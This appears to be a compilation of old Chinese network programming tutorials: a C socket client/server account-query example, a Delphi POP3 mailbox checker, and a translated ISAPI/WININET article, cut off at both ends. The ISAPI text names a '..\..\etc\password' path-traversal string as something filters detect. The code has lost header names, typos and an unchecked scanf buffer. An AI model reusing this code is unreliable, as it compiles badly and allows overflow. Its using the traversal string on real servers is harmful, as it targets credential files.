据 报 协 议（User Datagram Protocol）。 利 用 数 据 报 服 务 可 实 现 一 些 简 单 的 网 络 服
务， 如 网 点 检 测 程 序PING。 由 于 不 建 立 连 接， 数 据 报 协 议 比 连 接 协 议 快。 但 不 能 保
证 所 有 数 据 都 准 确 有 序 地 到 达 目 的 地。 不 保 证 顺 序 性、 可 靠 性 和 无 重 复 性。 它 是 无

连 接 的 服 务， 以 独 立 的 信 包 进 行 传 输， 通 信 端 点 使 用UDP 对 应 的INTERNET 地 址。 双
方 不 需 互 连， 按 固 定 的 最 大 长 度 进 行 传 输， 因 而 适 用 于 单 个 报 文 传 输， 或 较 小 文 件
的 传 输。
套 接 字 的 编 程 要 点 及 和 过 程
不 论 何 种 套 接 字 编 程， 均 采 用 客 户 机/ 服 务 器 方 式， 其 运 作 过 程 基 本 类
似， 限 于 篇 幅， 这 里 仅 介 绍 字 节 流 套 接 字。 字 节 流 套 按 字 的 服 务 进 程 和 客 户 进 程，

在 通 信 前 必 须 创 建 各 自 的 套 接 字 以 建 立 连 接， 然 后 对 相 应 的 套 接 字 进 行“ 读”、“
写” 操 作， 实 现 信 息 的 交 换。
服 务 器 进 程 创 建 套 接 字。 服 务 进 程 总 是 先 于 客 户 进 程 启 动， 服 务 进 程 首 先 调
用socket() 函 数 创 建 自 已 端 的 一 个 字 节 流 套 接 字， 并 提 供 三 个 参 数： 网 络 地
址 类 型， 一 般 取AF_INEF（Adress family InterNET）； 套 接 字 类 型， 这 里

取SOCK_STREAM； 网 络 协 议， 缺 省 为TCP/IP 协 议， 对 应 参 数 为0。

给 套 接 字 地 址 变 量 赋 初 值。 在 生 成 套 接 字 后， 要 用 服 务 器 的 地 址 先
对sockaddr_in 结 构 变 量 赋 初 值。sockaddr_in
在/usr/include/netinet/in.h 中 有 定 义， 它 只 适 用 于INTERNET 地 址 类 型， 含
有INTERNET 套 接 字 地 址 类 型、IP 端 口 号、IP 地 址 等 信 息。 地 址 类 型 可 取 定

为AF_INET，IP 地 址 对 服 务 器 可 取 任 意 合 法 地 址INADDR_ANY。IP 端 口 号 可 由 用
户 设 定， 但 要 注 意 主 机 字 节 顺 序 向 网 络 字 节 顺 序 的 转 换。

给 套 接 字 命 名。 由socket() 函 数 创 建 的 套 接 字 是 没 有 名 字 的。 所 谓 命 名， 就 是
用bind() 函 数 将 服 务 器 地 址 捆 绑 到 创 建 的 套 接 字 上。

服 务 器 进 程 准 备 接 受 来 自 客 户 机 的 连 接 请 求。 首 先 调 用listen() 函 数， 让 服

务 器 进 程 进 入 监 听 状 态； 然 后 调 用accept() 函 数， 准 备 接 受 客 户 机 的 连 接 信
号。 无 连 接 请 求 时， 服 务 进 程 被 阻 塞。

客 户 进 程 调 用socket() 函 数 创 建 已 端 的 套 接 字。

给 客 户 端 的sockaddr_in 结 构 体 变 量 赋 值。 地 址 类 型 仍 可 取AF_INET， 端 口 号
和 服 务 器 方 的 端 口 号 相 同， 欲 连 服 务 器 的 地 址 通 过 调 用inet_addr() 转 换 得

到。 也 可 通 过gethostbyname() 函 数 将 名 字 转 换 为 指 向hostent 结 构 变 量 的 指
针， 再 将hostent 结 构 变 量 的 地 址 成 员 用bcopy() 复 制 到sockaddr_in 结 构 变
量 上。

客 户 方 调 用connect() 函 数 向 服 务 进 程 发 出 连 接 请 求。

当 连 接 请 求 到 来 后， 被 阻 塞 服 务 进 程 的accpet() 函 数 生 成 一 个 新 的 字 节 流 套
接 字， 并 返 回 客 户 机 的sockaddr_in 结 构 变 量， 从 而 在 服 务 器 应 用 程 序 中 用 新

的 被 赋 予 客 户 机 地 址 的 套 接 字 同 客 户 进 程 进 行 连 接， 然 后 向 客 户 方 返 回 接 受
信 号。

一 旦 客 户 机 的 套 接 字 收 到 来 自 服 务 器 的 接 受 信 号， 则 表 示 客 户 机 与 服 务 器 双
方 已 实 现 连 接。 任 一 方 均 可 向 对 方 发 送， 也 可 接 收 对 方 发 来 的 数 据。 这 既 可 通
过send()、recv() 函 数 来 实 现。 也 可 通 过read()、write() 函 数 来 交 换 数 据。

服 务 进 程 和 客 户 进 程 可 通 过 调 用shutdown() 和colse() 关 闭 套 接 字 上 的 所 有
发 送 和 接 收 操 作， 撤 销 套 接 字 并 中 断 连 接。
上 述 所 有 系 统 函 数 均 包 括 在libsocket.a 系 统 库 中，IBM PC（UNIX） 操 作
系 统 编 译 时 需 加-llibsocket 链 接。IBM RS/6000(AIX) 操 作 系 统 统 编 译 时 无 需 此
参 数。
整 个 运 作 过 程 可 用 图 表 示 如 下：

编 程 示 例
本 文 给 出 一 个 运 用 字 节 流 套 接 字， 在TCP/IP 网 络 上 实 现 客 户 机/ 服 务 器
方 式 进 程 通 信 的 实 例， 该 程 序 在IBM RS/6000 小 型 机 和IBM PC 586 微 机 上 调 试 通
过。 它 主 要 模 拟 根 据 帐 号 查 询 余 额 的 过 程， 客 户 机 是 一 台 电 话 银 行 的 前 置 机（IBM
PC）， 服 务 器 是 银 行 数 据 处 理 主 机（IBM RS/6000）， 包 括 三 方 面：
客 户 机 从 标 准 输 入 读 入 帐 号， 并 将 该 帐 号 发 送 给 服 务 器。

服 务 器 接 收 该 帐 号 后， 进 行 判 断 是 否 有 此 帐 号 的 数 据， 并 将 结 果 返 回 给 客 户
机。

客 户 机 接 收 返 回 的 信 息， 并 将 结 果 输 出 在 标 准 输 出 上。
服 务 进 程 需 先 于 客 户 进 程 启 动。 客 户 进 程 启 动 时 要 携 带 服 务 器 的IP 地
址， 如：clientpros 23.169.1.1
在UNIX 操 作 系 统 下 可 用Doscp 命 名 拷 入 硬 盘； 编 译 时 用：

cc hxserver.c -lsocket -0 server
cc hxclient.c -lsocket -0 client
在AIX 操 作 系 统 下 可 用Dosread 命 名 拷 入 硬 盘， 编 译 时 用：
cc hxserver.c -0 server
cc hxclient.c -0 client

/*服务器端程序：hxserver.c*/
#include
#include
#include
#include
#include "tcpipop.c"

main()
{
int newsockfd, sockfd;
int
clilen;
struct sockaddr_in  cli_addr, serv_addr;
char
info[100];
int infolen;
int rc;

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)/*创建TCP协议的字节流*/
{
fprintf(stderr, "Socket failed !!\n");
return(-1);
}
bzero((char *)&serv_addr, sizeof(serv_addr));/*服务器地址清0*/
serv_addr.sin_family = AF_INET;/*网络类型使用ARPA internet地址*/
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
/*IP地址取公认的任意合法地址*/
serv_addr.sin_port = htons(1234);
/*设定IP端口号, 并将主机字节顺序转换为网络字节顺序*/

if ( bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 )

/*将服务器地址信息捆绑到创建的套接字上*/
{
fprintf(stderr, "Bind failed
!!\n");
return(-1);
}

 if ( listen(sockfd, 5) < 0
)/*建立长度为5的监听队列从套接字上收听连接请求*/
{
fprintf(stderr, "Listen
failed !!\n");
return(-1);
}
fprintf(stderr,
"blocked here.....\n");

 clilen =
sizeof(cli_addr);
/*阻塞至客户方有连接请求到来*/
newsockfd = accept(sockfd,
(struct sockaddr *)&cli_addr, &clilen);
/*有连接请求时,
返回被赋予客户机地址的新套接字, 连接已建立*/

fprintf(stderr, "connected now!!!\n");
if ( newsockfd < 0
)
{
fprintf(stderr, "Accept
failed!!\n");
return(-1);
}
shutdown(sockfd,
2);
close(sockfd);
memset(info,0,sizeof(info));
infolen=6;
if ((rc=TCPRECEIVE(newsockfd, info, infolen))
== -1)/*接受客户机发来的信息*/
fprintf(stderr, "TCPRecv failed
!!\n");

if (!memcmp(info,"123456",6))
{/*返回帐号为123456的帐户信息*/
printf("received account no is %6.6s\n",info);
sprintf(info,"%6.6s|%8.8s|%10.2lf",info,"zhang li",123.456);
}
else

{/*否则, 返回000000表示无此帐户*/
printf("no such account no
%6.6s\n",info);
sprintf(info,"%6.6s|%8.8s|%lf","000000","",0.0);
}

infolen=sizeof(info);
if ((rc=TCPSEND(newsockfd, info,
infolen) )== -1) /*向客户机发送该帐户信息*/
fprintf(stderr, "TCPSend
failed !!\n");

shutdown(newsockfd, 2);
close(newsockfd);

}

/*客户端程序:hxclient.c*/
#include
#include
#include
#include
#include "tcpipop.c"

typedef struct{
char accno[7];
char name[9];
double  amt;
}
data_type;
/* 帐户数据结构 */

main(argc,argv)

int argc;
char ** argv;
{
int
i=0;
int sockfd;
struct
sockaddr_in  serv_addr;/*存服务器方的地址*/
char info[100];
int
infolen;
data_type data;
int rc;

 if (argc!=2)
{
fprintf(stderr,"client
ipaddress\n");
exit(-1);
}
/*参数是服务器的IP地址*/

for ( ; i<10; i++ )/*最多连接10次*/
{
bzero((char *)&serv_addr, sizeof(serv_addr));
/*服务器地址变量清0*/

serv_addr.sin_family = AF_INET;
/*网络地址类型使用ARPA internet 地址*/
serv_addr.sin_addr.s_addr = inet_addr(argv[1]);
/*服务器IP地址转换为长整型IP地址, 并赋予地址结构变量*/

serv_addr.sin_port=htons(1234);
/*与服务器相同的IP端口号,
经主机字节顺序到网络字节顺序的转换*/
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) <
0)
/*创建TCP协议的字节流套接字*/
{
fprintf(stderr, "Client
: Can not open stream socket\n");
shutdown(sockfd,
2);
close(sockfd);
return(-1);
}
if
(connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) >=
0)
/*与服务进程建立连接*/
break;
shutdown(sockfd,
2);
close(sockfd);
}

if ( i >= 10 )
exit(-1);
/*此时连接已建立, 可通过对套接字的读写实现通信*/

memset(&data,0,sizeof(data));
printf("enter account no:");
scanf("%s",data.accno); /*输入要检索的帐号*/

 infolen=sizeof(data.accno);
bcopy(&data.accno,info,infolen);
if ( (rc=TCPSEND(sockfd, info, infolen)) == -1 )
fprintf(stderr, "TCPSend failed !!\n");
/*客户进程向服务进程发送帐号信息*/
infolen=sizeof(info);
if (
(rc=TCPRECEIVE(sockfd, info, infolen)) == -1 )
fprintf(stderr, "TCPRecv failed !!\n");
/*客户进程接收服务进程返回的帐户信息*/

sscanf(info,"%[^|]|%[^|]|%lf",data.accno,data.name,&data.amt); /*格式转换*/

if (!memcmp(data.accno,"000000",6))/*判断是否查到*/
printf("There is no such account in server database.\n");
else {/*显示帐户信息*/
printf("accno is %s\n",data.accno);
printf("name is %s\n",data.name);
printf("amount is %-10.2lf\n",data.amt);
}

shutdown(sockfd, 2);
close(sockfd);
}

/*公共程序:tcpipop.c*/
/*
* Using TCP/IP Protocol.
*/

#include
#include
#include
#include
#include

extern int TCPSEND(int fd, char *buf, int len)
{
int i=0;
int send_rc;

for ( ; i<10; i++ ) {

send_rc = write( fd, buf, len );
if ( send_rc == len
)
break;
sleep(1);
}

if ( i >= 10 )
return(-1);
else
return(send_rc);
}

extern int TCPRECEIVE(int fd, char *buf, int len)
{
int i=0;
int receive_rc;

for ( ; i<10; i++ ) {

receive_rc = read(fd, buf, len);

  if ( receive_rc == len
)
break;
sleep(1);
}

if ( i >= 10 )
return(-1);
else
return(receive_rc);
}


监视POP3信箱

----本文将向大家介绍怎样编写自己的信箱监视程序，程序将直接调用WinSock函数来进行网络通信。除了具备WinSock编程知识之外，还必须了解POP3协议。下面是对POP3的一个粗略的介绍，读者可以参看RFC 1225更为详细地了解该协议。

一、关于POP3协议
----POP3服务器程序通常在TCP端口110提供服务。当客户想要使用服务时，它便与服务器建立一个TCP连接。一旦连接建立，POP3服务器就向客户发送一条欢迎消息。然后客户开始给服务器发送命令，服务器则给出相应的回
答。POP3的命令由一个关键词或者关键词加参数组成。每个命令以回车换行（0xD0xA）作为结束标志。对于所有的命令，POP3服务器都会提供一个回答。服务器的回答由一个状态标志加一些附加信息组成。目前使用的两个标志是“＋OK”和“－ERR”，分别表示客户的命令是否合法。所有的回答也是以回车换行结束。
----与本文讨论的话题相关的四个POP3命令是USER、PASS、LIST和QUIT。

USER命令
格式USER name
----其中name是用户在该POP3服务器上的用户标识。客户应该在接到服务器的欢迎消息后或者在上一个USER或者PASS失败之后可以发送此命令。

PASS命令
格式PASS string

----其中string为该用户的密码。客户在发送了USER命令并且收到了＋OK的回答之后方可发送此命令。如果用户名和密码都正确，服务器回答＋OK，否则－ERR。

LIST命令
格式LIST
----如果该用户有邮件，则LIST命令会回答＋OK，并列出所有邮件的标识符和大小（每个邮件一行），最后一个仅包含一个句点的行（0xD0xA0x2E）表示整个回答的结束。如果该用户没有邮件，有些服务器会返回－ERR，有些
在可能返回一个＋OK和一个仅包含一个句点的行。当然，客户必须在PASS命令通过之后客户程序才能给服务器发送LIST命令。

QUIT命令

----从POP3服务器上退出登录。

二、实现相关函数
----接下来我们按照POP3协议所定义的通信规则来实现一个名叫POP3CheckMail的函数，只要调用此函数，我们就可以检测信箱了。
----下面的代码是用与Delphi4兼容的Pascal语言实现的，我们必须包含WinSock单元，并且在调用下列函数之前初始化好WinSock动态连接库。初始化WinSock动态连接库的代码如下：

----if WSAStartup( ＄002, wsadata)<>0 then Halt;

----POP3CheckMail的原型如下：

----function POP3CheckMail(Email,Password:String;var MailList:TStringList;var ErrorMsg:String):Bool;

----参数说明：

----Email和Password分别为用户的email信箱名和口令。

----变量参数MailList用于返回邮件的标识和大小，MailList.Count表示邮件的封数。

----变量参数ErrorMsg返回出错消息。

----以下是POP3CheckMail及其它所用到的函数的实现代码。

Connect_Server函数

----功能：与指定的主机建立一个TCP连接，返回一个Socket描述符。参数host指定主机的名字，Port指定端口号。

function Connect_Server(host:string;Port:integer):integer;
var i:integer;
p:&LongInt;
phe:pHostEnt;
sin:sockaddr_in;
begin
sin.sin_family:=AF_INET;
sin.sin_port:=htons(Port);
//Get the IP for host, allowing for dotted decimal
phe:=gethostbyname(pchar(host));
if phe<>nil
then begin
p:=Pointer(phe&.h_addr_list&);
sin.sin_addr.s_addr:=p&;
end
else begin
i:=inet_addr(PChar(Host));
if i<> －1 then sin.sin_addr.S_addr:=i
end;
//create a socket
Result:=socket(PF_INET,SOCK_STREAM,0);
if (Result=INVALID_SOCKET) then Exit;
//connect to server
if Connect(Result,sin,sizeof(sin))=SOCKET_ERROR
then begin {Error handling} end;
end;
Write_Socket函数

----功能：向Socket写入一个字符串。

function Write_Socket(sockfd:Integer; const s:string):Integer;
begin
result:=Winsock.Send(sockfd,pointer(s)&,Length(s),0)
end;
Socket_Readline函数

----功能：从Socket上读取一行。

function Socket_Readline(sockfd:Integer):String;
//Read until
＃10
var S:String; buf:array[0..1]of Char;
n:Cardinal;
begin
buf[0]:=
＃0;buf[1]:= ＃0; S:=‘`;
n:=recv(sockfd,Buf,1,0);
while n>0 do
begin
buf[1]:= ＃0;
S:=S ＋buf;
if (buf[0]= ＃10) then
Break;
n:=recv(sockfd, buf, 1,
0);
end;
Result:=Trim(S);
end;
Pop3Response 函 数

----功能：读取POP3服务器的一行返回信息，如果是“＋OK”则函数返回TURE，如果是“－ERR”则返回FALSE。

function Pop3Response(Sockfd:Integer):Bool;
var S:
string;
begin
S:=socket_readline(sockfd);
if copy(s,1,3)=‘ ＋OK` then
Result:=True
else {if copy(s,1,4)=‘ －ERR` then
}Result:=False;
end;
POP3CheckMail函数

----功能：检测名字为email的信箱，如果有新邮件，则通过变量参数MailList将每一封邮件的大小返回。

function POP3CheckMail
(Email,Password:String;var MailList:
TStringList;var ErrorMsg:String):Bool;
var sockfd,i:integer;
S, Host, User:String;
begin
Result:=False; ErrorMsg:=‘`;
if MailList=nil then Exit;
S:=Trim(Email);
i:=Pos(‘@`,Email);
User:=Trim(Copy(S,1,i －1));
Host:=Trim(Copy(S,i ＋1,Length(Email) －i));
MailList.Clear;
if (user=‘`)or(host=‘`) then begin
ErrorMsg:=‘Invalid email address.`;exit; end;
if (Host[1]=‘[`)and (Host[Length(host)]=‘]`)
then begin Host[1]:=‘ `;Host[Length(host)]:= ＃0;end;
Host:=Trim(host);
sockfd:=Connect_Server(Host,110);
if not Pop3Response(sockfd)then begin ErrorMsg:=
‘Cannot connect to server`;exit; end;
Write_Socket(sockfd,‘USER ` ＋User ＋ ＃13 ＃10);
IF NOT POP3Response(sockfd) then begin ErrorMsg:=
‘USER failed`; Exit;end;
Write_Socket(sockfd,‘PASS ` ＋Password ＋ ＃13 ＃10);
IF NOT POP3Response(sockfd) then begin ErrorMsg:=
‘PASS failed`; Exit;end;
Write_Socket(sockfd,‘LIST` ＃13 ＃10);
POP3Response(sockfd);
while true do begin
s:=Socket_readline(sockfd);
if s=‘.` then BREAK;
MailList.Add(S);
end;
Write_Socket(sockfd,‘QUIT` ＃13 ＃10);
Closesocket(sockfd);
Result:=True;
end;
三、邮件的检测
----下面我们来看一个使用POP3CheckMail函数的简单示例。
var MailList:TstringList;
ErrorMsg:String;
....
MailList:=TstringList.Create;
POP3CheckMail(‘simon_liu@263.net`,
‘mypassword`, MailList, ErrorMsg);
If MailList.Count>0 then
MessageBox(0, Pchar(‘You have ` ＋IntToStr
(MailList.Count) ＋ ‘ new messages!`),
‘New Message!`, MB_ICONINFORMATION)
Else if ErrorMsg=‘` then MessageBox
(0, ‘No message!`, ‘`,0)
Else MessageBox(0, Pchar(ErrorMsg), ‘Error`, 0);
MailList.Free;

----如果你仔细阅读了POP3CheckMail函数的实现代码，你会发现此函数除了可以获取邮件的封数之外，还可以获得每一封邮件的大小。你可以通过POP3CheckMail函数的变量参数MailList的Strings数组来获取邮件的大小。

----实现了POP3CheckMail函数，再在此基础上编写一个POP3信箱的监视程序就变得很简单了。你可以通过一个定时器来定期地调用POP3CheckMail函数，这样你就可以监视某个email信箱了。假若你想要同时监视多个email
信箱，只要为每一个信箱创建一个线程并且在线程中定期调用POP3CheckMail函数即可。你的程序中如果没有使用Delphi的控件，那么一个完整的信箱监视程序可能只有60K左右。


构建FTP，HTTP和Gopher用户端程序

by Charlie Calvert
由Boen翻译，转载请注明： Translate by Boen.
中文译稿版权属Boen所有，使用权归 CNM 编程版

第一部分 第二部分

《第一》
----------------------------------------------------------------------------------------------------
这篇文章主要讲述如何使DELPHI和因特网配合工作。本文中将详述两个专门技术：
WININET：构建 FTP，HTTP 和 Gopher 用户端程序

ISAPI：扩充因特网信息服务，例如，获得服务器上的信息并把它们显示在浏览器上。

现今的计算机世界中，由于微软公司的因特网战略而掀起了一个巨大发展潮流。那些制作CGI（公共网关接
口）和第三方工具（即使是最基本的因特网工具）的日子将最终一去不复返了。对复杂的第三方工具的需求
总是存在的，但现在程序员将会发现他们所需的大量的嵌入操作系统的因特网工具，简言之，并不需要进一
步的投资，你就能够使用免费的DELPHI资源来：

*开发 WEB 浏览器
*运行 FTP，HTTP 和 Gopher ，在两个DELPHI应用软件之间或DELPHI应用软件和基于TCP（传输控制协议）的
服务器之间操作TCP

因为DELPHI能够轻松地调用Windows API，并且它支持OCX/ActiveX，因此微软的新战略和我们的计划配合
的恰到好处。微软生产工具，而DELPHI程序员获得收成！

--------------------------------------------------------------------------------

在本篇中有些什么？

这篇文章中包含了三个大部分和一些小部分，有三个大主题：
*寻找资料： 那里能搞到本文中提及的技术资料，而且包含了关于您所需的运行文中代码的软硬件的简短
说明。
*ISAPI：怎样使用ISAPI
*WININET：怎样使用WININET

在大多数情况下，本文中的ISAPI和WININET部分是完全独立的，您可以自由地选择阅读时的顺序。

--------------------------------------------------------------------------------

查找资料，硬件和软件的要求

您需要一份Microsoft Windows NT 3.51 Server 或 NT 4.0 Server 的拷贝，其中应附有因特网信息服务
文档，因为您需要甬道其中所提到的技术。这份文档应随NT Server4.0 附送，NT 3.51的用户可从微软的
网址上下载。运行Windows NT，您的机器的最低配置应为486兼容，20兆以上内存。

您必须有另一台计算机装有网页浏览器。为使本文中的ISAPI部分能够顺利运行，第二台机器必须能够运行
所有支持网页浏览器的软件。如果在您的机器上运行的是Windows 95 或 Windows NT,那么本文中的WININET
代码片就能运行的最好。任何符合条件的网页浏览器在这种技术环境下都能够使用。

在1996年六月以后发布的Delphi2.0以上的版本中，有您所需的把Delphi连接到因特网上的几乎全部资源。
如果您没有最新的Delphi版本[注：此处作者指的是2.0版本（译者）]，那么您需要本文档中提到的特殊文
件，所有这些几乎都可以从万维网上免费获得[注：如果您正在使用Delphi2.0以上版本，则不许考虑
（译者）]。所有本文中提到的技术在Delphi2.0环境下都能顺利工作，但在16位Delphi环境下则不一定能
顺利工作。

如果您需要从万维网上下载信息，链接为：http://www.borland.com/TechInfo/delphi/index.html
[注：现在已经不存在了！:-(( （译者）]

Delphi2.0的新版本中附有 WININET.PAS 文档，如果你的拷贝中不包含它，那么上面那个万维网节点可以
为您提供。WININET.PAS包括为扩展微软视窗因特网所设计的变量清单、函数、类型和属性。这意味着您能
够轻而易举地为您的应用程序增添FTP、HTTP和Gopher支持。微软公司的WININET.DLL是免费发布的，如果
它不在您的Windows/System 或 Windows/System32 目录下的话，您可以从微软公司那里得到它。下面是可
获得WININET.H这个视窗帮助文件的万维网节点：

http://www.microsoft.com/intdev/sdk/docs/wininet/default.htm [注：好象也没了！:-( （译者）]

一般来说，微软因特网开发者的网上之家是微软节点的 INTDEV 部分。

除了WININET和ICP之外，另一个为Delphi支持的关键技术就是ISAP。正如微软公司文档中所描述的，这项技
术能使您“‘写入’服务器端的原本和过滤本，从而扩充微软因特网信息服务和其他ISAPI万维网服务”。
如果您需要找到关于ISAPI的描述，可以去：
http://www.microsoft.com/intdev/sdk/servapi.htm [注：上帝保佑您！;-) （译者）]

在本文最后，附加了一个名为HTTPEXT.PAS的关键的ISAPI文档的拷贝。

微软公司免费发布的因特网控制包（ICP）是一个OCX/ActiveX控制集，您可以在Delphi中把它们拖放到应用
程序上（Delphi2.0中包含这些控件）。他们提供了创建Delphi应用程序的即时支持，他们知道如何浏览网页、
如何应用FTP、WINSOCK和其他因特网技术。如果您的Delphi拷贝中没有包含这些控件，那么您在使用它们之
前您应该把这些文档添加进Delphi所在的目录中的Lib目录下。这些文档位于上面提及的链接中的Borland的
INDEX.HTML站点下。在本文中我没有提到ICP控件，但是任何对这项技术有兴趣的人应该明确确认他拥有这些
控件的拷贝。

您可以从我的站点下载我的Pascal应用文件，他们的名字是STRBOX.PAS 和 MATHBOX.PAS。

经常察看一下这个站点上的关于本文提到的信息的更新情况是很有好处的。

在这里我假设读者对于Delphi和Object Pascal都很熟悉，并且读者对于因特网，HTML，浏览器和万维网服
务器有基本的了解。

ISAPI

ISAPI是一项很容易使用然而功能强大的技术，它能够让您扩充因特网信息服务的功能。这项技术随WindowsNT
4.0附送，让您在您的服务器上建立WEB、FTP和GOPHER站点。同时这项技术与WindowsNT3.51 Server[注：指服
务器版本，另一个版本是工作站版本（译者）]兼容。

在过去，扩充网页服务器的最佳办法是建立CGI应用程序。它们是强有力的工具，但是也被他们的执行格式所
限制[注：如PERL是解释执行的（译者）]。当您从浏览其上发出一个基于CGI的请求到服务器上时，这个CGI
应用程序将极有可能先被强制装入内存中，这会消耗很多时间。而且，在某些环境下，CGI技术显得稍微难用
了一点。

ISAPI是一种通过写入DLLs[注：动态链结程序（译者）]从而替代CGI应用的方法。您也可以通过ISAPI来写
过滤文本，但这项技术我不会在本篇中提及。同CGI相比，ISAPI更容易使用，而且它更快，同时能更好地利
用系统资源。在下面几点中，我将详细地介绍为什么ISAPI DLLs比CGI应用要更为出色：

ISAPI DLLs与HTTP服务位于相同的地址，因此他们能够从服务器上直接存取HTTP服务。与CGI应用相比，它们
能更快地装入内存；当他们在服务器上发出请求时，所需的停悬的时间[注：指发出请求到接受服务器应答的
时间（译者）]要少的多。这点当服务器的负荷很重时更加重要。

您可以控制DLLs何时被装载和卸载。例如：您可以在第一次尝试请求时预先装载DLLs；当它们不被使用时卸载
这个ISAPI应用DLLs以便释放系统资源。

正如前文所述，您可以利用ISAPI写过滤文本[注：一般指C/S结构中的脚本（译者）]，更具微软的文档，您可
以通过ISAPI过滤文本做下面这些事情：

用户授权方案
压缩
加密
登入
通信分析或其他请求分析（例如，寻找 "..\..\etc\password" 中的请求）

在本文中，我会着重介绍如何编写返回数据集的DLLs，或者是如何与运行浏览器的用户进行简单的联系。

ISAPI 基础

HTTPEXT.PAS文件包含了使用ISAPI的关键声明。这个文件应随1996年6月以后发表的Delphi版本分发。它也可
以在Borland的站点上找到，在本文的ISAPI部分附有这份文档。因为这是基于NT的技术，您必须使用Delphi2.0
以上的版本来应用这项技术。您不可能在16位的编辑器上应用它。

HTTPEXT.PAS包含了微软公司创立的ISAPI技术的接口[注：指Delphi接口，ISAPI由C++编写（译者）]。在编写
Delphi的时候并没有提供ISAPI的用户接口，我会仅仅就如何使用微软公司的现有技术进行描述。不过，ISAPI
太容易使用了，而且对大多数用户来说，用户的Delphi对象的版本并不是必须的。

有三个函数可作为ISAPI DLLs的入口，前两个是必须的，第三个时可选的。

GetExtensionVersion: 进对最低版本做检查

HttpExtensionProc: 这是DLL的入口，就象是Delphi应用程序中的 begin...end 块

TerminateExtension: 这是个可选的程序，它可以用作清除其他内存分配的线程。

当您在创建ISAPI DLL的时候，您必须引用上面列出的三个函数中的头两个函数，执行这两个函数是所有ISAPI
编程的关键。

这三个语句都包含了“字输出”，使用这项术语是因为ISAPI DLLs扩充了因特网信息服务器。（记住，因特网
信息服务器指的是微软服务器。如果您要把一台NT服务器作为体格网页服务器的话，那么，这正是您所需的工
具。ISAPI DLLs随NT4.0分发，在安装操作系统是自动安装。）

ISAPI提供了一个制作服务器可遵循的标准。例如，它可以把网景公司的复杂的NSAPI接口压缩至相关的简练而
优美的ISAPI来对NSAPI接口进行操作。

下面是这两个重要函数的声明

function GetExtensionVersion(var Ver: THSE_VERSION_INFO): BOOL;
stdcall;
function HttpExtensionProc(var ECB: TExtensionControlBlock): DWORD;
stdcall;

您只要把GetExtensionVersion粘贴到您的DLLs救行了.当ISAPI向公众发布新版本时您只需要做轻微的改动。

function GetExtensionVersion(var Ver: THSE_VERSION_INFO):
BOOL;
stdcall;
begin
Ver.dwExtensionVersion :=     $00010000; // 1.0
support
Ver.lpszExtensionDesc :=     'Delphi 2.0 ISAPI DLL'; //
Description
Result :=     True;
end;

The parameter passed to this function is declared in HTTPEXT.PAS as follows:
有关的参数在HTTPEXT.PAS中声明如下：

PHSE_VERSION_INFO = ^THSE_VERSION_INFO;
THSE_VERSION_INFO = packed record
dwExtensionVersion: DWORD;
lpszExtensionDesc: array[0..HseMaxExtDLLNameLen-1] of Char;
end;

常量 HseMaxExtDllNameLen 在声明中的值为256。纪录中的这两个变量是“自声明”的，前一个包含了
ISAPI的版本号[注：即变量dwExtensionVersion （译者）]，后一个则表示用户定义的一个用来描述
DLLs的字符串。

在您引用GetExtensionVersion语句的同时，您必须在您的DLL程序的DPR文件部分增添输出部分。在您写
这段语句时您还应该写下：

exports
GetExtensionVersion,
HttpExtensionProc;

这就是您在建立这两个重要ISAPI DLL的函数时所要做的。下一步，使用 HttpExtensionProc，稍微复杂一
点，因此我将把它作为一个独立的部分。

与 HttpExtensionProc 一起工作

HttpExtensionProc语句是DLL的入口。它的作用就好比C语言中的 main() 语句，或者Delphi 中的
begin...end 部分

这里有一个简单的使用GetExtensionVersion语句的例子

function HttpExtensionProc(var ECB: TExtensionControlBlock):
DWORD; stdcall;
var
ResStr: string;
StrLen: Integer;
begin
ECB.lpszLogData := 'Delphi DLL Log';
ECB.dwHTTPStatusCode := 200;
ResStr := '<HTML><TITLE>Test server result</TITLE>' +
'<H1>Test server results</H1>' +
'<BODY>Hello from ISAPI<BR></BODY>' +
'</HTML>';

ResStr := Format(
'HTTP/1.0 200 OK'#13#10+
'Content-Type: text/html'#13#10+
'Content-Length: %d'#13#10+
'Content:'#13#10#13#10'%s', [Length(ResStr), ResStr]);

StrLen := Length(ResStr);
ECB.WriteClient(ECB.ConnID, Pointer(ResStr),
StrLen, 0);
Result := HSE_STATUS_SUCCESS;
end;

如果您在浏览其中向这个DLL发出请求，那么您会得到一页这样的回应：

Test Server Results

Hello from ISAPI

函数体内的大部分域提供基本信息的简单的HTML代码密切相关。您还需要填写TExtensionControlBlock
中的一些域，如下所示。

注意到在这个纪录里有一个叫做WriteClient的函数指针，您可以引用这个函数把信息传送回浏览器。当呼叫
这个函数时，您使用到了下面提到的TExtensionControl块中的ConnID字段。当函数被呼叫时，ConnID为您自
动填充。

在察看函数的代码之前，请让我为您演示所有用到的上文提及的HttpExtensionProc函数的ISAPI DLL的完
整程序

library Isapi1;

library Isapi1;

uses
Windows, SysUtils, HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ): BOOL;
stdcall;
begin
Ver.dwExtensionVersion := $00010000; // We're expecting
version 1.0 support
Ver.lpszExtensionDesc := 'Written in Delphi
2.0';
Result := True;
end;

function HttpExtensionProc( var ECB: TEXTENSION_CONTROL_BLOCK ): DWORD; stdcall;
var
ResStr: string;
StrLen: Integer;
begin
ECB.lpszLogData := 'Delphi DLL Log';
ECB.dwHTTPStatusCode := 200;
ResStr := '
' +
'
Test server results
' +
'
Isapi says hello to DevRel

';
ResStr := Format(
'HTTP/1.0 200 OK'#13#10+
'Content-Type: text/html'#13#10+
'Content-Length: %d'#13#10+
'Content:'#13#10#13#10'%s', [Length(ResStr), ResStr]);
StrLen := Length(ResStr);
ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);
Result := HSE_STATUS_SUCCESS;
end;

exports
GetExtensionVersion,
HttpExtensionProc;

begin
end.

为了运行这个DLL程序，您应该把它复制到您的NT服务器下的脚本目录中去。在我的NT4.0机器中,它就像这
样：
c:\winnt\system32\inetsrv\scripts\mystuff\isapi1.dll

在这个例子中，我已经创建了我的名为“mystuff”的目录,它只不过是用来存储我创建的ISAPI DLLs。您的
目录，当然和我的机器上的不完全一样，取决于您的“inetsrv”目录位置和其它因素。

为成功调用这个DLL，您应该在您的HTML页上增添这个超链接：

